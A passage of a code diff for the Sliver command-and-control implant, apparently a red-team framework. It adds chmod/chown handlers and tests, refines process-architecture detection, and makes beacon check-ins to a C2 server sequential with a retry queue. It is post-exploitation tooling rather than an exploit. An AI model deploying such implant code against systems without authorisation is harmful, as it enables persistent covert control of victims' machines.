if _, err := os.Readlink(fdPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("memfd still accessible after removal: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestNetstatHandlerRespondsWithoutTCP(t *testing.T) {
|
||||
request, err := proto.Marshal(&sliverpb.NetstatReq{UDP: true})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
netstatHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("netstatHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Netstat{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode netstat response: %v", err)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("netstatHandler did not respond to a request without TCP")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,199 @@
|
||||
//go:build darwin || linux
|
||||
|
||||
package handlers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/fs"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
func chmodHandler(data []byte, resp RPCResponse) {
|
||||
chmodReq := &sliverpb.ChmodReq{}
|
||||
err := proto.Unmarshal(data, chmodReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chmod := &sliverpb.Chmod{}
|
||||
target, _ := filepath.Abs(chmodReq.Path)
|
||||
chmod.Path = target
|
||||
// Make sure file exists
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chmod.Response = &commonpb.Response{}
|
||||
if err == nil {
|
||||
// Convert string to octal number
|
||||
octal, err := strconv.ParseInt(chmodReq.FileMode, 8, 32)
|
||||
if err == nil {
|
||||
|
||||
setuid := octal & 04000
|
||||
setgid := octal & 02000
|
||||
setstcky := octal & 01000
|
||||
|
||||
// Cast the octal number to fs.FileMode
|
||||
fileMode := os.FileMode(octal)
|
||||
|
||||
// Found this was necessary because the constructor above doesn't set special permissions
|
||||
if setuid > 0 {
|
||||
fileMode = fileMode | os.ModeSetuid
|
||||
}
|
||||
if setgid > 0 {
|
||||
fileMode = fileMode | os.ModeSetgid
|
||||
}
|
||||
if setstcky > 0 {
|
||||
fileMode = fileMode | os.ModeSticky
|
||||
}
|
||||
|
||||
if chmodReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, _ fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chmod(file, fileMode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
err = os.Chmod(target, fileMode)
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(chmod)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func chownHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// variable definitions so goto won't break
|
||||
var uidStr string
|
||||
var gidStr string
|
||||
var gid uint64
|
||||
var uid uint64
|
||||
var err error
|
||||
var usr *user.User
|
||||
var grp *user.Group
|
||||
|
||||
chownReq := &sliverpb.ChownReq{}
|
||||
err = proto.Unmarshal(data, chownReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chown := &sliverpb.Chown{}
|
||||
target, _ := filepath.Abs(chownReq.Path)
|
||||
chown.Path = target
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chown.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uidStr = chownReq.Uid
|
||||
usr, err = user.Lookup(uidStr)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid, err = strconv.ParseUint(usr.Uid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gidStr = chownReq.Gid
|
||||
grp, err = user.LookupGroup(gidStr)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid, err = strconv.ParseUint(grp.Gid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
// Check if the recursive flag is set and the path is a directory
|
||||
if chownReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, _ fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chown(file, int(uid), int(gid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
err = os.Chown(target, int(uid), int(gid))
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
data, err = proto.Marshal(chown)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -0,0 +1,153 @@
|
||||
//go:build darwin || linux
|
||||
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"syscall"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
func TestUnixPermissionHandlersRegistered(t *testing.T) {
|
||||
handlers := GetSystemHandlers()
|
||||
for _, messageType := range []uint32{sliverpb.MsgChmodReq, sliverpb.MsgChownReq} {
|
||||
if _, ok := handlers[messageType]; !ok {
|
||||
t.Fatalf("message type %d is not registered", messageType)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestChmodHandlerRecursive(t *testing.T) {
|
||||
target := filepath.Join(t.TempDir(), "target")
|
||||
nested := filepath.Join(target, "nested")
|
||||
file := filepath.Join(nested, "fixture.txt")
|
||||
if err := os.MkdirAll(nested, 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(file, []byte("fixture"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.ChmodReq{Path: target, FileMode: "0750", Recursive: true})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
chmodHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("chmodHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Chmod{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode chmod response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() != "" {
|
||||
t.Fatalf("chmodHandler response error: %s", response.GetResponse().GetErr())
|
||||
}
|
||||
if response.Path != target {
|
||||
t.Fatalf("chmodHandler path = %q, want %q", response.Path, target)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("chmodHandler did not invoke its response callback")
|
||||
}
|
||||
|
||||
for _, path := range []string{target, nested, file} {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := info.Mode().Perm(); got != 0o750 {
|
||||
t.Errorf("%s mode = %o, want 750", path, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestChownHandlerRecursiveCurrentOwner(t *testing.T) {
|
||||
current, group, wantUID, wantGID := currentOwner(t)
|
||||
|
||||
target := filepath.Join(t.TempDir(), "target")
|
||||
file := filepath.Join(target, "fixture.txt")
|
||||
if err := os.MkdirAll(target, 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(file, []byte("fixture"), 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
request, err := proto.Marshal(&sliverpb.ChownReq{
|
||||
Path: target, Uid: current.Username, Gid: group.Name, Recursive: true,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
called := false
|
||||
chownHandler(request, func(data []byte, handlerErr error) {
|
||||
called = true
|
||||
if handlerErr != nil {
|
||||
t.Fatalf("chownHandler callback error: %v", handlerErr)
|
||||
}
|
||||
response := &sliverpb.Chown{}
|
||||
if err := proto.Unmarshal(data, response); err != nil {
|
||||
t.Fatalf("decode chown response: %v", err)
|
||||
}
|
||||
if response.GetResponse().GetErr() != "" {
|
||||
t.Fatalf("chownHandler response error: %s", response.GetResponse().GetErr())
|
||||
}
|
||||
if response.Path != target {
|
||||
t.Fatalf("chownHandler path = %q, want %q", response.Path, target)
|
||||
}
|
||||
})
|
||||
if !called {
|
||||
t.Fatal("chownHandler did not invoke its response callback")
|
||||
}
|
||||
|
||||
assertOwner(t, []string{target, file}, wantUID, wantGID)
|
||||
}
|
||||
|
||||
func currentOwner(t *testing.T) (*user.User, *user.Group, uint64, uint64) {
|
||||
t.Helper()
|
||||
current, err := user.Current()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
group, err := user.LookupGroupId(current.Gid)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
wantUID, err := strconv.ParseUint(current.Uid, 10, 32)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
wantGID, err := strconv.ParseUint(group.Gid, 10, 32)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return current, group, wantUID, wantGID
|
||||
}
|
||||
|
||||
func assertOwner(t *testing.T, paths []string, wantUID uint64, wantGID uint64) {
|
||||
t.Helper()
|
||||
for _, path := range paths {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
stat, ok := info.Sys().(*syscall.Stat_t)
|
||||
if !ok {
|
||||
t.Fatalf("%s stat type = %T, want *syscall.Stat_t", path, info.Sys())
|
||||
}
|
||||
if uint64(stat.Uid) != wantUID || uint64(stat.Gid) != wantGID {
|
||||
t.Errorf("%s owner = %d:%d, want %d:%d", path, stat.Uid, stat.Gid, wantUID, wantGID)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -912,63 +912,8 @@ func mountHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// Extensions
|
||||
|
||||
func registerExtensionHandler(data []byte, resp RPCResponse) {
|
||||
registerReq := &sliverpb.RegisterExtensionReq{}
|
||||
err := proto.Unmarshal(data, registerReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
ext := extension.NewWindowsExtension(registerReq.Data, registerReq.Name, registerReq.OS, registerReq.Init)
|
||||
err = ext.Load()
|
||||
registerResp := &sliverpb.RegisterExtension{Response: &commonpb.Response{}}
|
||||
if err != nil {
|
||||
registerResp.Response.Err = err.Error()
|
||||
} else {
|
||||
extension.Add(ext)
|
||||
}
|
||||
data, err = proto.Marshal(registerResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func callExtensionHandler(data []byte, resp RPCResponse) {
|
||||
callReq := &sliverpb.CallExtensionReq{}
|
||||
err := proto.Unmarshal(data, callReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
callResp := &sliverpb.CallExtension{Response: &commonpb.Response{}}
|
||||
gotOutput := false
|
||||
err = extension.Run(callReq.Name, callReq.Export, callReq.Args, func(out []byte) {
|
||||
gotOutput = true
|
||||
callResp.Output = out
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
})
|
||||
// Only send back synchronously if there was an error
|
||||
if err != nil || !gotOutput {
|
||||
if err != nil {
|
||||
callResp.Response.Err = err.Error()
|
||||
}
|
||||
data, err = proto.Marshal(callResp)
|
||||
resp(data, err)
|
||||
}
|
||||
}
|
||||
|
||||
func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
lstReq := &sliverpb.ListExtensionsReq{}
|
||||
err := proto.Unmarshal(data, lstReq)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
exts := extension.List()
|
||||
lstResp := &sliverpb.ListExtensions{
|
||||
Response: &commonpb.Response{},
|
||||
Names: exts,
|
||||
}
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
func newExtension(data []byte, id string, arch string, init string) extension.Extension {
|
||||
return extension.NewWindowsExtension(data, id, arch, init)
|
||||
}
|
||||
|
||||
// Stub since Windows doesn't support UID
|
||||
|
||||
@@ -201,10 +201,10 @@ func netstatHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
entries = append(entries, buildEntries("tcp6", tabs)...)
|
||||
}
|
||||
result.Entries = entries
|
||||
data, err := proto.Marshal(result)
|
||||
resp(data, err)
|
||||
}
|
||||
result.Entries = entries
|
||||
data, err = proto.Marshal(result)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func buildEntries(proto string, s []netstat.SockTabEntry) []*sliverpb.SockTabEntry {
|
||||
|
||||
@@ -0,0 +1,42 @@
|
||||
// Package ps provides process enumeration and architecture detection.
|
||||
package ps
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestArchitectureFromELFMachine(t *testing.T) {
|
||||
tests := map[uint16]string{
|
||||
3: "x86",
|
||||
62: "x86_64",
|
||||
183: "aarch64",
|
||||
179: "",
|
||||
}
|
||||
for machine, expected := range tests {
|
||||
if actual := architectureFromELFMachine(machine); actual != expected {
|
||||
t.Errorf("machine %d: got %q, want %q", machine, actual, expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestArchitectureFromWindowsMachines(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
processMachine uint16
|
||||
nativeMachine uint16
|
||||
expected string
|
||||
}{
|
||||
{name: "x86 on amd64", processMachine: 0x014c, nativeMachine: 0x8664, expected: "x86"},
|
||||
{name: "x86 on arm64", processMachine: 0x014c, nativeMachine: 0xaa64, expected: "x86"},
|
||||
{name: "native amd64", nativeMachine: 0x8664, expected: "x86_64"},
|
||||
{name: "native arm64", nativeMachine: 0xaa64, expected: "arm64"},
|
||||
{name: "exact amd64", processMachine: 0x8664, nativeMachine: 0xaa64, expected: "x86_64"},
|
||||
{name: "unknown", processMachine: 0xffff, nativeMachine: 0xaa64, expected: ""},
|
||||
}
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
actual := architectureFromWindowsMachines(test.processMachine, test.nativeMachine)
|
||||
if actual != test.expected {
|
||||
t.Fatalf("got %q, want %q", actual, test.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -56,3 +56,36 @@ func Kill(pid int) error {
|
||||
}
|
||||
return p.Kill()
|
||||
}
|
||||
|
||||
func architectureFromELFMachine(machine uint16) string {
|
||||
switch machine {
|
||||
case 3:
|
||||
return "x86"
|
||||
case 62:
|
||||
return "x86_64"
|
||||
case 183:
|
||||
return "aarch64"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func architectureFromWindowsMachine(machine uint16) string {
|
||||
switch machine {
|
||||
case 0x014c:
|
||||
return "x86"
|
||||
case 0x8664:
|
||||
return "x86_64"
|
||||
case 0xaa64:
|
||||
return "arm64"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func architectureFromWindowsMachines(processMachine, nativeMachine uint16) string {
|
||||
if processMachine != 0 {
|
||||
return architectureFromWindowsMachine(processMachine)
|
||||
}
|
||||
return architectureFromWindowsMachine(nativeMachine)
|
||||
}
|
||||
@@ -4,6 +4,7 @@
|
||||
package ps
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
@@ -114,16 +115,7 @@ func getProcessArchitecture(pid int) (string, error) {
|
||||
return "", nil
|
||||
}
|
||||
|
||||
if mach[0] == 0xb3 {
|
||||
return "aarch64", nil
|
||||
}
|
||||
if mach[0] == 0x03 {
|
||||
return "x86", nil
|
||||
}
|
||||
if mach[0] == 0x3e {
|
||||
return "x86_64", nil
|
||||
}
|
||||
return "", err
|
||||
return architectureFromELFMachine(binary.LittleEndian.Uint16(mach)), nil
|
||||
}
|
||||
|
||||
// Refresh reloads all the data associated with this process.
|
||||
|
||||
@@ -4,6 +4,7 @@
|
||||
package ps
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -14,6 +15,16 @@ import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const processMachineTypeInfo = 9
|
||||
|
||||
type processMachineInformation struct {
|
||||
ProcessMachine uint16
|
||||
Reserved uint16
|
||||
MachineAttributes uint32
|
||||
}
|
||||
|
||||
var getProcessInformation = windows.NewLazySystemDLL("kernel32.dll").NewProc("GetProcessInformation")
|
||||
|
||||
// WindowsProcess is an implementation of Process for Windows.
|
||||
type WindowsProcess struct {
|
||||
pid int
|
||||
@@ -267,32 +278,7 @@ func getCmdLine(pid uint32) ([]string, error) {
|
||||
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:]) + " : " + syscall.UTF16ToString(cmdLine[:])), nil
|
||||
}
|
||||
|
||||
var nativeArch string = ""
|
||||
var nativeArchLookup bool = true
|
||||
|
||||
func getProcessArchitecture(pid uint32) (string, error) {
|
||||
|
||||
if nativeArchLookup {
|
||||
nativeArchLookup = false
|
||||
if runtime.GOARCH == "amd64" {
|
||||
nativeArch = "x86_64"
|
||||
} else {
|
||||
var is64Bit bool
|
||||
pHandle := windows.CurrentProcess()
|
||||
if uint(pHandle) == 0 {
|
||||
nativeArch = ""
|
||||
} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
|
||||
nativeArch = ""
|
||||
} else {
|
||||
if !is64Bit {
|
||||
nativeArch = "x86"
|
||||
} else {
|
||||
nativeArch = "x86_64"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
proc, err := syscall.OpenProcess(
|
||||
windows.PROCESS_QUERY_INFORMATION,
|
||||
false,
|
||||
@@ -309,22 +295,74 @@ func getProcessArchitecture(pid uint32) (string, error) {
|
||||
}
|
||||
}
|
||||
|
||||
arch := ""
|
||||
var isWow64 bool
|
||||
if err := windows.IsWow64Process(windows.Handle(proc), &isWow64); err == nil {
|
||||
if isWow64 {
|
||||
arch = "x86"
|
||||
} else {
|
||||
arch = nativeArch
|
||||
arch, queryErr := queryProcessArchitecture(windows.Handle(proc))
|
||||
closeErr := syscall.CloseHandle(proc)
|
||||
if queryErr != nil {
|
||||
return "", queryErr
|
||||
}
|
||||
if closeErr != nil {
|
||||
return "", closeErr
|
||||
}
|
||||
return arch, nil
|
||||
}
|
||||
|
||||
func queryProcessArchitecture(handle windows.Handle) (string, error) {
|
||||
if arch, err := processMachineArchitecture(handle); err == nil && arch != "" {
|
||||
return arch, nil
|
||||
}
|
||||
|
||||
var processMachine, nativeMachine uint16
|
||||
if err := windows.IsWow64Process2(handle, &processMachine, &nativeMachine); err == nil {
|
||||
if arch := architectureFromWindowsMachines(processMachine, nativeMachine); arch != "" {
|
||||
return arch, nil
|
||||
}
|
||||
}
|
||||
|
||||
err = syscall.CloseHandle(proc)
|
||||
if err != nil {
|
||||
var isWow64 bool
|
||||
if err := windows.IsWow64Process(handle, &isWow64); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if isWow64 {
|
||||
return "x86", nil
|
||||
}
|
||||
|
||||
return arch, err
|
||||
switch runtime.GOARCH {
|
||||
case "amd64":
|
||||
return "x86_64", nil
|
||||
case "arm64":
|
||||
return "arm64", nil
|
||||
case "386":
|
||||
var currentIsWow64 bool
|
||||
if err := windows.IsWow64Process(windows.CurrentProcess(), ¤tIsWow64); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if currentIsWow64 {
|
||||
return "x86_64", nil
|
||||
}
|
||||
return "x86", nil
|
||||
default:
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
|
||||
func processMachineArchitecture(handle windows.Handle) (string, error) {
|
||||
if err := getProcessInformation.Find(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
info := processMachineInformation{}
|
||||
result, _, callErr := getProcessInformation.Call(
|
||||
uintptr(handle),
|
||||
uintptr(processMachineTypeInfo),
|
||||
uintptr(unsafe.Pointer(&info)),
|
||||
unsafe.Sizeof(info),
|
||||
)
|
||||
if result == 0 {
|
||||
if callErr != nil && !errors.Is(callErr, syscall.Errno(0)) {
|
||||
return "", callErr
|
||||
}
|
||||
return "", syscall.EINVAL
|
||||
}
|
||||
return architectureFromWindowsMachine(info.ProcessMachine), nil
|
||||
}
|
||||
|
||||
func getSessionID(pid uint32) (int, error) {
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
package ps
|
||||
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestGetProcessArchitectureCurrentProcess(t *testing.T) {
|
||||
expected := map[string]string{
|
||||
"386": "x86",
|
||||
"amd64": "x86_64",
|
||||
"arm64": "arm64",
|
||||
}[runtime.GOARCH]
|
||||
if expected == "" {
|
||||
t.Skipf("unsupported test architecture %s", runtime.GOARCH)
|
||||
}
|
||||
|
||||
actual, err := getProcessArchitecture(uint32(os.Getpid()))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if actual != expected {
|
||||
t.Fatalf("got %q, want %q", actual, expected)
|
||||
}
|
||||
}
|
||||
@@ -149,6 +149,7 @@ func beaconStartup() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
beacons := transports.StartBeaconLoop(abort)
|
||||
pendingResults := &beaconResultQueue{}
|
||||
for beacon := range beacons {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Next beacon = %v", beacon)
|
||||
@@ -161,7 +162,7 @@ func beaconStartup() {
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
err := beaconMainLoop(beacon)
|
||||
err := beaconMainLoop(beacon, pendingResults)
|
||||
if err != nil {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
@@ -217,7 +218,38 @@ func sessionStartup() {
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
type beaconResultQueue struct {
|
||||
mu sync.Mutex
|
||||
results []*sliverpb.Envelope
|
||||
}
|
||||
|
||||
func (q *beaconResultQueue) add(result *sliverpb.Envelope) {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
q.results = append(q.results, result)
|
||||
}
|
||||
|
||||
func (q *beaconResultQueue) drain() []*sliverpb.Envelope {
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
results := q.results
|
||||
q.results = nil
|
||||
return results
|
||||
}
|
||||
|
||||
func (q *beaconResultQueue) prepend(results []*sliverpb.Envelope) {
|
||||
if len(results) == 0 {
|
||||
return
|
||||
}
|
||||
q.mu.Lock()
|
||||
defer q.mu.Unlock()
|
||||
combined := make([]*sliverpb.Envelope, 0, len(results)+len(q.results))
|
||||
combined = append(combined, results...)
|
||||
combined = append(combined, q.results...)
|
||||
q.results = combined
|
||||
}
|
||||
|
||||
func beaconMainLoop(beacon *transports.Beacon, pendingResults *beaconResultQueue) error {
|
||||
// Register beacon
|
||||
err := beacon.Init()
|
||||
if err != nil {
|
||||
@@ -250,7 +282,6 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Registering beacon with server")
|
||||
// {{end}}
|
||||
nextCheckin := time.Now().Add(beacon.Duration())
|
||||
register := registerSliver()
|
||||
register.ActiveC2 = beacon.ActiveC2
|
||||
register.ProxyURL = beacon.ProxyURL
|
||||
@@ -264,44 +295,40 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
time.Sleep(time.Second)
|
||||
beacon.Close()
|
||||
|
||||
// BeaconMain - Tasks run in background goroutines, check-ins happen on schedule
|
||||
// Results are collected and sent on subsequent check-ins
|
||||
pendingResults := make(chan *sliverpb.Envelope, 100)
|
||||
errors := make(chan error)
|
||||
shortCircuit := make(chan struct{})
|
||||
return beaconCheckinLoop(beacon, pendingResults, beaconMain)
|
||||
}
|
||||
|
||||
type beaconCheckinFunc func(*transports.Beacon, time.Time, *beaconResultQueue) error
|
||||
|
||||
// beaconCheckinLoop schedules check-ins without overlapping them. Beacon
|
||||
// transport callbacks share per-check-in connection state, so the previous
|
||||
// check-in must finish closing its resources before the next one can start.
|
||||
func beaconCheckinLoop(beacon *transports.Beacon, pendingResults *beaconResultQueue, checkin beaconCheckinFunc) error {
|
||||
for {
|
||||
duration := beacon.Duration()
|
||||
nextCheckin = time.Now().Add(duration)
|
||||
|
||||
go func() {
|
||||
oldInterval := beacon.Interval()
|
||||
err := beaconMain(beacon, nextCheckin, pendingResults)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] main error: %v", nextCheckin)
|
||||
// {{end}}
|
||||
errors <- err
|
||||
} else if oldInterval != beacon.Interval() {
|
||||
// The beacon's interval was modified so we need to short circuit
|
||||
// the current sleep and tell the server when the next checkin will
|
||||
// be based on the new interval.
|
||||
shortCircuit <- struct{}{}
|
||||
}
|
||||
}()
|
||||
nextCheckin := time.Now().Add(duration)
|
||||
oldInterval := beacon.Interval()
|
||||
err := checkin(beacon, nextCheckin, pendingResults)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] main error: %v", nextCheckin)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] sleep until %v", nextCheckin)
|
||||
// {{end}}
|
||||
select {
|
||||
case <-errors:
|
||||
return err
|
||||
case <-time.After(duration):
|
||||
case <-shortCircuit:
|
||||
// Short circuit current duration with no error
|
||||
if oldInterval == beacon.Interval() {
|
||||
// Keep the original start-to-start cadence when the check-in
|
||||
// finishes before its deadline. If it overruns, begin the next
|
||||
// check-in immediately without overlapping shared transport state.
|
||||
if remaining := time.Until(nextCheckin); 0 < remaining {
|
||||
time.Sleep(remaining)
|
||||
}
|
||||
}
|
||||
|
||||
// check if reconfig used to set a new C2-URI
|
||||
// check if reconfig used to set a new C2-URI
|
||||
if c2 := transports.GetC2URI(); c2 != "" && c2 != beacon.ActiveC2 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] C2 URI changed to %s, reconnecting...", c2)
|
||||
@@ -309,10 +336,9 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults chan *sliverpb.Envelope) error {
|
||||
func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults *beaconResultQueue) error {
|
||||
err := beacon.Start()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -328,17 +354,8 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults
|
||||
beacon.Close()
|
||||
}()
|
||||
|
||||
// Collect any pending results from background tasks
|
||||
var completedResults []*sliverpb.Envelope
|
||||
collecting:
|
||||
for {
|
||||
select {
|
||||
case result := <-pendingResults:
|
||||
completedResults = append(completedResults, result)
|
||||
default:
|
||||
break collecting
|
||||
}
|
||||
}
|
||||
// Collect any pending results from background tasks.
|
||||
completedResults := pendingResults.drain()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] sending check in with %d pending results...", len(completedResults))
|
||||
@@ -349,11 +366,18 @@ collecting:
|
||||
Tasks: completedResults,
|
||||
}))
|
||||
if err != nil {
|
||||
pendingResults.prepend(completedResults)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] send failure %s", err)
|
||||
// {{end}}
|
||||
return err
